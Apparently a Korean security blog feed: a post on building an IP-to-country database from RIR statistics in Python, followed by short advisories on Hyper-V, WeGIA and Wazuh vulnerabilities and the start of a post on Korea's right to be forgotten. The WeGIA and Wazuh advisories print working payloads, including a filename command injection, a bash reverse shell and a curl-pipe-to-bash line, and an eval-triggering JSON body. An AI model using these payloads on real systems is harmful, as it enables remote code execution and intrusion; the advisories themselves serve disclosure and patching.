์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํผ๋ธ”๋ฆญ IP ์ฃผ์†Œ ์ž์›์€ ์•ฝ 37์–ต ๊ฐœ๋กœ ์ œํ•œ๋œ ๊ณต๊ณต์ž์›์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž์›์„ ํšจ์œจ์ ์œผ๋กœ ๊ด€๋ฆฌํ•˜๋ ค๋ฉด ์ค‘์•™์—์„œ ์กฐ์œจํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๊ตฌ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์—ญํ• ์„ ํ•˜๋Š” ๊ณณ์ด ๋ฏธ๊ตญ์˜ ์ธํ„ฐ๋„ท ์ฃผ์†Œ๊ด€๋ฆฌ ๊ธฐ๊ตฌ(ICANN, Internet Corporation for Assigned Names and Numbers)์ž…๋‹ˆ๋‹ค.

image.png

ICANN์€ IP ์ฃผ์†Œ, DNS, ํ”„๋กœํ† ์ฝœ ๋ฒˆํ˜ธ ๋“ฑ์˜ ์ธํ„ฐ๋„ท ๋ฆฌ์†Œ์Šค๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ์ตœ์ƒ์œ„ ๊ธฐ๊ตฌ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๋ชจ๋“  IP๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์—†์œผ๋‹ˆ ICANN ์‚ฐํ•˜์˜ ์ธํ„ฐ๋„ท ๋ฒˆํ˜ธ ํ• ๋‹น ๊ธฐ๊ด€(IANA, Internet Assigned Numbers Authority)์ด ์ „ ์„ธ๊ณ„๋ฅผ ์ง€์—ญ๋ณ„๋กœ ๋‚˜๋ˆ„์–ด ๊ฐ ์ง€์—ญ ์ธํ„ฐ๋„ท ๋“ฑ๋ก ๊ธฐ๊ด€(RIR, Regional Internet Registries)์— IP ์ฃผ์†Œ ๋Œ€์—ญ์„ ํ• ๋‹นํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

ํ˜„์žฌ RIR์€ ARIN(๋ถ๋ฏธ), RIPENCC(์œ ๋Ÿฝ), LACNIC(๋‚จ๋ฏธ), AFRINIC(์•„ํ”„๋ฆฌ์นด), APNIC(์•„์‹œ์•„) ๊ฐ 5๊ฐœ์˜ ๊ธฐ๊ด€์œผ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ค‘์—์„œ LACNIC, APNIC์€ ๊ตญ๊ฐ€ ์ธํ„ฐ๋„ท ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ(NIR, National Internet Registries)๋ผ๋Š” ๊ธฐ๊ด€์„ ๋‘๊ณ  ๋‹ค์‹œ ์„ธ๋ถ€์ ์œผ๋กœ ๋ถ„๋ฅ˜ํ•˜์—ฌ ๊ด€๋ฆฌํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

  • APNIC: KRNIC(์šฐ๋ฆฌ๋‚˜๋ผ), CNNIC(์ค‘๊ตญ), JPNIC(์ผ๋ณธ), TWNIC(๋Œ€๋งŒ), VNNIC(๋ฒ ํŠธ๋‚จ) ๋“ฑ
  • LACNIC: NIC Brazil(๋ธŒ๋ผ์งˆ, Nic Chile(์น ๋ ˆ), NIC Mexico(๋ฉ•์‹œ์ฝ”)

์ฆ‰, ICANN โ†’ IANA โ†’ RIR โ†’ NIR โ†’ ISP ์ˆœ์œผ๋กœ IP ์ฃผ์†Œ๊ฐ€ ๊ด€๋ฆฌ๋˜๊ณ  ์žˆ๋‹ค๊ณ  ์ดํ•ดํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

image.png

์šฐ๋ฆฌ๋‚˜๋ผ์˜ ๊ฒฝ์šฐ RIR์—๊ฒŒ ํ• ๋‹น๋ฐ›์€ IP๋ฅผ KRNIC(ํ•œ๊ตญ์ธํ„ฐ๋„ท์ง„ํฅ์›)์—์„œ ๊ด€๋ฆฌํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น IP๋“ค์„ ๊ด€๋ฆฌ ๋Œ€ํ–‰์ž(ISP)์—๊ฒŒ ์žฌ ํ• ๋‹นํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. KRNIC ์‚ฌ์ดํŠธ์—์„œ ๋ณด๋‹ค ์ž์„ธํ•œ ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ๊ถ๊ธˆํ•˜์‹  ๋ถ„์ด ์žˆ์œผ๋ฉด ์ ‘์†ํ•ด์„œ ํ™•์ธํ•ด ๋ณด์…”๋„ ์ข‹์„ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

https://krnic.kisa.or.kr/jsp/business/management/ispInfo.jsp

๐Ÿ—๏ธ IP ์ฃผ์†Œ ๊ตญ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์ถ•ํ•˜๊ธฐ

์•ž์„œ ์–ธ๊ธ‰ํ•œ RIR(์€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ณ„ FTP ์„œ๋ฒ„์— ํ†ต๊ณ„ ์ •๋ณด๋ฅผ ํŠน์ • ๊ฒฝ๋กœ(stats)์— ํŠน์ • ์‹œ์ (23:59:59 UTF+0)์— ํŠน์ •ํ•œ ์ด๋ฆ„์œผ๋กœ ํฌ๋งท์œผ๋กœ ์—…๋กœ๋“œํ•˜๊ธฐ๋กœ ์•ฝ์†๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

image.png

ํฌ๋งท๊ณผ ๊ด€๋ จ๋œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ APNIC์˜ RIR statistics exchange format์—์„œ ์ž์„ธํžˆ ์‚ดํŽด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ’ป IP โ†” ๊ตญ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์กฐํšŒ ํ”„๋กœ๊ทธ๋žจ ๋งŒ๋“ค๊ธฐ

์ด์ œ ์›์ฒœ ๋ฐ์ดํ„ฐ ์ˆ˜์ง‘์ฒ˜์™€ ๋ฐ์ดํ„ฐ ํฌ๋งท์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ ๊ตฌํ˜„์„ ํ•  ์ฐจ๋ก€์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์€

  1. ๋งค์ผ 09:00(UTC+9)์— RIR๋“ค์˜ FTP ์„œ๋ฒ„์—์„œ delegated-{REGISTRY}-latest ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ
  2. ๋‹ค์šด๋กœ๋“œ ๋œ ํŒŒ์ผ์—์„œ ๊ตญ๊ฐ€ / IPv4 / IP ๋Œ€์—ญ ์ถ”์ถœ
  3. IP ๋Œ€์—ญ(์‹œ์ž‘ ~ ๋)์„ 10์ง„์ˆ˜ํ™” ์‹œ์ผœ ์ •๋ ฌ ํ›„ ํŒŒ์ผ๋กœ ์ €์žฅ
  4. ๊ตญ๊ฐ€, IP ๋Œ€์—ญ ์Œ์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œํ•œ ๋’ค
  5. ์ด์ง„ํƒ์ƒ‰

์ด๋ฅผ ์ฝ”๋“œ๋กœ ๊ตฌํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

# builtin modulesimport osimport ipaddressimport asynciofrom datetime import datetime# install modulesimport aiohttpintervals = []today = datetime.now().strftime("%Y%m%d")RIR_URLS = [    "https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest",    "https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest",    "https://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest",    "https://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-extended-latest",    "https://ftp.afrinic.net/stats/afrinic/delegated-afrinic-extended-latest",]MAPPING_DATABASE = f"./rsc/{today}_mapping.db"# ๋‹ค์šด๋กœ๋“œasync def fetch(session, url):    async with session.get(url) as response:        print(f"[{response.status}] - {url}")        content = await response.read()        filename = url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "wb") as f:            f.write(content)    return# ๋‹ค์šด๋กœ๋“œ ์ฝ”๋ฃจํ‹ดasync def download():    async with aiohttp.ClientSession() as session:        await asyncio.gather(*(fetch(session, url) for url in RIR_URLS))    print("Download Complete")    return# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋กœ๋“œdef init_database():    if not os.path.exists("./rsc"):        os.mkdir("./rsc")    # IP ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์…‹์ด ์กด์žฌํ•  ๊ฒฝ์šฐ ๋ฉ”๋ชจ๋ฆฌ ๋กœ๋“œ    if os.path.exists(MAPPING_DATABASE):        print("Databse load")        with open(MAPPING_DATABASE, "r") as f:            for line in f:                start_ip, end_ip, country = line.strip().split(",")                intervals.append((int(start_ip), int(end_ip), country))        return    # IP ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์…‹์ด ์กด์žฌํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ๋‹ค์šด๋กœ๋“œ ํ›„ ์ €์žฅ ๋ฐ ๊ฐ€๊ณต    asyncio.run(download())    for rir_url in RIR_URLS:        filename = rir_url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "r") as f:            for line in f:                line = line.strip().split("|")                if len(line) != 8 or line[2] != "ipv4":                    continue                country = line[1]                ip = line[3]                ip_range = line[4]                start_ip = int(ipaddress.IPv4Address(ip))                end_ip = (int(ipaddress.IPv4Address(ip)) + int(ip_range)) - 1                result = (start_ip, end_ip, country)                intervals.append(result)    # ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์…‹ ์ €์žฅ    intervals.sort(key=lambda x: x[0])    with open(MAPPING_DATABASE, "w") as f:        for interval in intervals:            line = f"{interval[0]},{interval[1]},{interval[2]}"            f.write(line + "\n")    print("Databse load")    return# ํƒ์ƒ‰def search(search_ip):    result = None    try:        search_ip = int(ipaddress.IPv4Address(search_ip))    except:        return None    left, right = 0, len(intervals) - 1    while left <= right:        mid = (left + right) // 2        start_ip, end_ip, country = intervals[mid]        if start_ip <= search_ip <= end_ip:            result = country            break        elif start_ip > search_ip:            right = mid - 1        else:            left = mid + 1    return resultdef main():    init_database()    while True:        ipv4 = input("Insert IPv4: ")        r = search(ipv4)        print(r)if __name__ == "__main__":    main()

image.png

RIR์—์„œ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์€ ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•  ๊ฒฝ์šฐ 253,714๊ฐœ์˜ IP ๋Œ€์—ญ(์•ฝ 37์–ต๊ฐœ)์ด ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฐœ๋œ ํผ๋ธ”๋ฆญ IP์˜ ๊ตญ๊ฐ€ ์ •๋ณด๋Š” ํ™•์ธ ๊ฐ€๋Šฅํ•œ ๊ฒƒ๊ณผ ๋‹ค๋ฆ„์—†๋Š” ์…ˆ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ, ๊ณต๊ต๋กญ๊ฒŒ๋„ ์ œ๊ฐ€ ์ž‘์„ฑํ•œ ํ”„๋กœ๊ทธ๋žจ์ด MMDB๋กœ ์กฐํšŒํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค 30 ~ 250๋ฐฐ ๊ฐ€๋Ÿ‰ ๋น ๋ฅธ ์†๋„๋กœ ์กฐํšŒ๊ฐ€ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ถ”์ธกํ•˜๊ธฐ์—” MMDB์—๋Š” IP ๋Œ€์—ญ์ด ์กฐ๊ธˆ ๋” ์„ธ๋ถ€์ ์œผ๋กœ ๋‚˜๋ˆ ์ ธ ์žˆ๊ณ , ๋‹ค๋ฅธ ์ •๋ณด(ASN)๋“ค๋„ ํ•จ๊ป˜ ์กฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค ๋ณด๋‹ˆ ์ด๋Ÿฐ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค์ง€ ์•Š์•˜์„๊นŒ ์กฐ์‹ฌ์Šค๋ ˆ ์ƒ๊ฐํ•ด ๋ด…๋‹ˆ๋‹ค.

โœจ ๊ฒฐ๋ก 

RIR ๋ฐ์ดํ„ฐ์—๋Š” IP์™€ ASN์„ ํ• ๋‹นํ–ˆ๋‹ค ๋ผ๋Š” ๋‚ด์šฉ๋งŒ ํฌํ•จ๋˜์–ด ์žˆ์–ด, ํŠน์ • IP๊ฐ€ ์–ด๋–ค ASN์— ์†ํ•ด์žˆ๋Š”์ง€๋Š” ์•Œ ์ˆ˜๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด BGP(Border Gateway Protocol)ํ…Œ์ด๋ธ”์—์„œ ์ˆ˜์ง‘์ด ํ•„์š”ํ•œ๋ฐ์š”. ๋‚ด์šฉ์ด ๋„ˆ๋ฌด ๊ธธ์–ด์ง€๋‹ค ๋ณด๋‹ˆ, ๋‹ค์Œ ์—ฐ๊ตฌ๊ธ€์—์„œ ์ด์–ด๊ฐ€๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

์ •์‹ ๊ฑด๊ฐ•์„ ์œ„ํ•ด์„œ ๊ฐ€๊ธ‰์ ์ด๋ฉด ipinfo์—์„œ mmdb ํŒŒ์ผ์„ ์ฃผ๊ธฐ์ ์œผ๋กœ ๋‹ค์šด๋กœ๋“œ ๋ฐ›๋Š” ๊ฑธ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

[ํ•˜๋ฃจํ•œ์ค„] CVE-2025-21333: Windows Hyper-V ๊ตฌ์„ฑ์š”์†Œ์˜ heap buffer overflow๋กœ ์ธํ•œ ๊ถŒํ•œ์ƒ์Šน ์ทจ์•ฝ์ 

1 March 2025 at 08:00

URL

Target

  • Windows < 2025๋…„ 1์›” ๋ˆ„์  ์—…๋ฐ์ดํŠธ

Explain

Windows Hyper-V NT Kernel Integration VSP ๊ตฌ์„ฑ ์š”์†Œ์—์„œ ๋ฐœ๊ฒฌ๋œ heap buffer overflow๋กœ ์ธํ•œ ๊ถŒํ•œ ์ƒ์Šน ์ทจ์•ฝ์ ์˜ PoC๊ฐ€ ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์€ Windows 10 1903๋ถ€ํ„ฐ ์ถ”๊ฐ€๋œ CrossVmEvent ๊ฐ์ฒด ๊ด€๋ จ syscall์ธ NtCreateCrossVmEvent ์—์„œ ๋ฐœ์ƒํ•˜๋‚˜ MS Advisory์— ๋”ฐ๋ฅด๋ฉด ์˜ํ–ฅ๋ฐ›๋Š” Windows ๋ฒ„์ „์€ Windows 10 21H2 ~ Windows 11 24H2์ž…๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” windows sandbox ๊ธฐ๋Šฅ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

CrossVmEvent๋Š” ํ˜ธ์ŠคํŠธ์™€ ๊ฒŒ์ŠคํŠธ ๋จธ์‹  ๊ฐ„ ํšจ์œจ์ ์ธ ๋ฆฌ์†Œ์Šค ๊ด€๋ฆฌ, ํ†ต์‹ ์„ ์ฒ˜๋ฆฌํ•˜๋Š” Virtual Service Provider ๊ด€๋ จ ๊ฐ์ฒด์ž„

ํ•ด๋‹น syscall์„ ์ฒ˜๋ฆฌํ•˜๋Š” vkrnlintvsp.sys ๋“œ๋ผ์ด๋ฒ„๋Š” VkiRootAdjustSecurityDescriptorForVmwp ํ•จ์ˆ˜์—์„œ ๊ฐ์ฒด์˜ DACL ๋ฌธ์ž์—ด์„ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.

__int64 __fastcall VkiRootAdjustSecurityDescriptorForVmwp(void *a1, char a2)//...   if ( ObjectSecurity >= 0 )      {        ObjectSecurity = SeConvertStringSidToSid(                           L"S-1-15-3-1024-2268835264-3721307629-241982045-173645152-1490879176-104643441-2915960892-1612460704",                           &P);        if ( ObjectSecurity >= 0 )        {        // Patched Code          if ( (Feature_2878879035__private_IsEnabledDeviceUsage)(v6) )          {            v7 = RtlLengthSid(Sid);            v8 = RtlLengthSid(P) + 16 + v7;            v9 = Dacl->AclSize + v8;            if ( v9 < v8 )            {              ObjectSecurity = 0xC0000095;              goto LABEL_20;            }          }         // Vulnable Code          else          {            SidLength = RtlLengthSid(Sid) + RtlLengthSid(P);            dwAclSize = Dacl->AclSize + SidLength + 16;          }          Pool2 = ExAllocatePool2(256i64, dwAclSize, 1867671894i64);          v4 = Pool2;          if ( Pool2 )          {            memmove(Pool2, Dacl, Dacl->AclSize);//...

ํŒจ์น˜ ์ „ ์ฝ”๋“œ๋Š” ์œ ์ €๊ฐ€ ์ปจํŠธ๋กค ๊ฐ€๋Šฅํ•œ ๊ฐ์ฒด์˜ DACL์— SID๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ณผ์ •์—์„œ Pool์— ํ• ๋‹นํ•  ์‚ฌ์ด์ฆˆ ๊ณ„์‚ฐ ์‹œ integer overflow๊ฐ€ ๋ฐœ์ƒํ•˜์ง€๋งŒ ์ ์ ˆํ•œ bound check๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์•„ ์˜ˆ์ƒ๋ณด๋‹ค ์ž‘์€ dwAclSize๋งŒํผ ํ• ๋‹นํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ ์˜ˆ์ƒ๋ณด๋‹ค ์ž‘๊ฒŒ ํ• ๋‹น๋œ Pool Buffer์— AclSize๋งŒํผ ๋ณต์‚ฌํ•˜๋Š” memmove ํ˜ธ์ถœ์—์„œ 0xfff0 ํฌ๊ธฐ์˜ overflow๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

poc๋Š” ํ•ด๋‹น ์ทจ์•ฝ์  ํŠธ๋ฆฌ๊ฑฐ ์ดํ›„ I/O Ring Exploit ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด์ง€ ํ’€์— _IOP_MC_BUFFER_ENTRY ํฌ์ธํ„ฐ ๋ฐฐ์—ด์„ ํ• ๋‹นํ•˜๊ณ , ์œ ์ €๋žœ๋“œ์— ํ• ๋‹นํ•œ fake IOP_MC_BUFFER_ENTRY ๊ฐ์ฒด๋ฅผ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์Šคํ”„๋ ˆ์ดํ•ด ๋ฎ์–ด์”๋‹ˆ๋‹ค. ์ดํ›„ BuildIoRingWriteFile() ์™€ BuildIoRingReadFile() ๋ฅผ ์‚ฌ์šฉํ•ด ์ปค๋„ ์ž„์˜ ์ฝ๊ธฐ/์“ฐ๊ธฐ๋ฅผ ์–ป์–ด ๊ถŒํ•œ ์ƒ์Šน์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์˜ ํŒจ์น˜๋Š” ์œ„์™€ ๊ฐ™์ด AclSize์™€ Sid ์‚ฌ์ด์ฆˆ ์—ฐ์‚ฐ ๊ฒฐ๊ณผ๊ฐ€ Sid ์‚ฌ์ด์ฆˆ๋ณด๋‹ค ์ž‘์€ ๊ฒฝ์šฐ ๋ณต์‚ฌ๋ฅผ ์ค‘๋‹จํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์ด๋ฃจ์–ด์กŒ์Šต๋‹ˆ๋‹ค.

[ํ•˜๋ฃจํ•œ์ค„] CVE-2025-27140: WeGIA application์˜ parameter ๊ฒ€์ฆ ๋ฏธํก์œผ๋กœ ์ธํ•œ RCE ์ทจ์•ฝ์ 

26 February 2025 at 09:10

URL

Target

  • WeGIA application 3.2.15 ์ดํ•˜ ๋ฒ„์ „

Explain

๊ธฐ๊ด€์„ ๋Œ€์ƒ์œผ๋กœ ์›น ํ†ตํ•ฉ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์„ ์ œ๊ณตํ•˜๋Š” WeGIA์˜ application์—์„œ parameter ๊ฒ€์ฆ ๋ฏธํก์œผ๋กœ ์ธํ•œ RCE ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์€ importar_dump.php ๋‚ด๋ถ€์— ์•„๋ž˜ ๊ตฌ๋ฌธ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

$log = shell_exec("mv ". $_FILES["import"]["tmp_name"] . " " . BKP_DIR . $_FILES["import"]["name"]);

shell_exec() ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด mv ๋ช…๋ น์–ด๋กœ ์ž„์‹œ ํŒŒ์ผ์„ ์ด๋™ํ•˜๋Š” ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ parameter์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ๋ฏธํกํ•˜๊ธฐ ๋•Œ๋ฌธ์— Command Injection ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ถ”๊ฐ€๋กœ ์ž„์‹œ ํŒŒ์ผ์„ ์ด๋™ํ•˜๋Š” ๋ช…๋ น์ด๊ธฐ์— Reverse Shell ์‚ฌ์šฉ๊ณผ Web Shell ์—…๋กœ๋“œ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์„ธ์…˜ ๊ฒ€์ฆ ์ดํ›„ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ๊ตฌ๋ฌธ์ด ์กด์žฌํ•˜๋‚˜, ์‹คํ–‰ ์ข…๋ฃŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

<?phpif (!isset($_SESSION["usuario"])){    header("Location: ../../index.php");}

์ด๋กœ ์ธํ•ด ๋ณ„๋„์˜ ๋กœ๊ทธ์ธ ๊ณผ์ •์ด ์—†์–ด๋„ ์ž„์˜์˜ ์ฝ”๋“œ ์‹คํ–‰ ๋ฐ ํŒŒ์ผ ์—…๋กœ๋“œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

PoC๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

1. OS Command Injection

sleep 5 ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” Command Injection์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

filename์— a ์ด๋ฆ„์œผ๋กœ ํ•จ๊ป˜ ๋‹ด์•„ ์ „๋‹ฌํ•˜๋ฉด sleep 5 ๋ช…๋ น์ด ์ˆ˜ํ–‰ ๋œ ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

a;sleep 5

2. Reverse shell ์‹คํ–‰

์•„๋ž˜์™€ ๊ฐ™์ด reverse shell์„ ๋นŒ๋“œํ•ฉ๋‹ˆ๋‹ค.

bash -i >& /dev/tcp/172.30.137.198/7777 0>&1

|๋กœ bash shell์— ์ „๋‹ฌํ•˜๋ฉด reverse shell์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

a;curl -L <your_page_responses_rev_shell_code> | bash

3. Web Shell ์—…๋กœ๋“œ

Web Shell ์—…๋กœ๋“œ๋Š” ๊ตฌํ˜„๋˜์–ด ์žˆ๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ php Web Shell์„ ์‰ฝ๊ฒŒ ์—…๋กœ๋“œ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PoC์—์„œ๋Š” l8BL.php๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ php Web Shell์„ ์—…๋กœ๋“œํ–ˆ์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ escapeshellarg() ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด command injection์— ์‚ฌ์šฉ๋˜๋Š” ํŠน์ˆ˜ ๋ฌธ์ž์— ๋Œ€ํ•ด ์ด์Šค์ผ€์ดํ”„ ํ•˜๋„๋ก ๋ณด์™„ํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  exit() ํ•จ์ˆ˜๋ฅผ ์ถ”๊ฐ€ํ•ด ์„ธ์…˜ ๊ฒ€์ฆ ์ดํ›„ ์ข…๋ฃŒ ๊ตฌ๋ฌธ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ณด์™„ ํ–ˆ์Šต๋‹ˆ๋‹ค.

Reference

[ํ•˜๋ฃจํ•œ์ค„] CVE-2025-24016: Wazuh Manager์˜ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ญ์ง๋ ฌํ™”๋กœ ์ธํ•œ RCE ์ทจ์•ฝ์ 

22 February 2025 at 08:00

URL

Target

  • Wazuh 4.4.0 ์ด์ƒ 4.9.1 ์ดํ•˜ ๋ฒ„์ „

Explain

CVE-2025-24016๋Š” ์˜คํ”ˆ์†Œ์Šค SIEM(Security Information and Event Management)์ธ Wazuh์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ญ์ง๋ ฌํ™”๋กœ ์ธํ•œ RCE ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. Wazuh๋Š” ํฌ๊ฒŒ Wazuh Agent, Wazuh Manager, Elasticsearch & Kibana๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ๊ทผ๋ณธ ์›์ธ์€ Wazuh Manager์—์„œ eval ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. Wazuh Manager์˜ ์ผ๋ถ€ API๋Š” JSON ์š”์ฒญ์„ ์—ญ์ง๋ ฌํ™”(json.loads())ํ•  ๋•Œ, object_hook ์˜ต์…˜์„ ํ†ตํ•ด as_wazuh_object ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํ›„์ฒ˜๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

as_wazuh_object ํ•จ์ˆ˜๋Š” JSON ๋‚ด๋ถ€์— __unhandled_exc__ ํ‚ค๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ, ๊ทธ ์•ˆ์˜ __class__์™€ __args__ ๊ฐ’์„ ์‚ฌ์šฉํ•ด evalํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ eval์— ์ „๋‹ฌํ•˜๋ฏ€๋กœ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜์™€ ๊ฐ™์€ JSON์„ API ์š”์ฒญ์œผ๋กœ ์ „๋‹ฌํ•˜๋ฉด os.system("bash")๊ฐ€ ์‹คํ–‰๋˜์–ด RCE๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{  "__unhandled_exc__": {      "__class__": "os.system",      "__args__": [      "bash"]}}

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ evalํ•จ์ˆ˜๋ฅผ literal_evalํ•จ์ˆ˜๋กœ ํŒจ์น˜ํ•˜๋ฉฐ ์ œํ•œ๋œ ํƒ€์ž…(strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis)๋งŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ณด์•ˆํ–ˆ์Šต๋‹ˆ๋‹ค.

Reference

[Research] Koreaโ€™s Right to Be Forgotten: Right to Request Access Restriction for Personal Online Posts (en)

22 February 2025 at 08:00

Hello, this is romi0x!

Have you ever wanted to erase embarrassing moments from the internet? Or have you tried to delete a post but couldnโ€™t find a way to remove it? Sometimes, you may not be able to delete your posts because there is no delete button or you are no longer a member of the service. To address this issue, there is a legal right called the โ€œRight to Request Access Restriction for Personal Online Posts.โ€

In this article, I will introduce the โ€œRight to Request Access Restriction for Personal Online Postsโ€, which allows individuals to request restrictions on public access to posts they have uploaded.

pic

1. What is the Right to Request Access Restriction for Personal Online Posts?

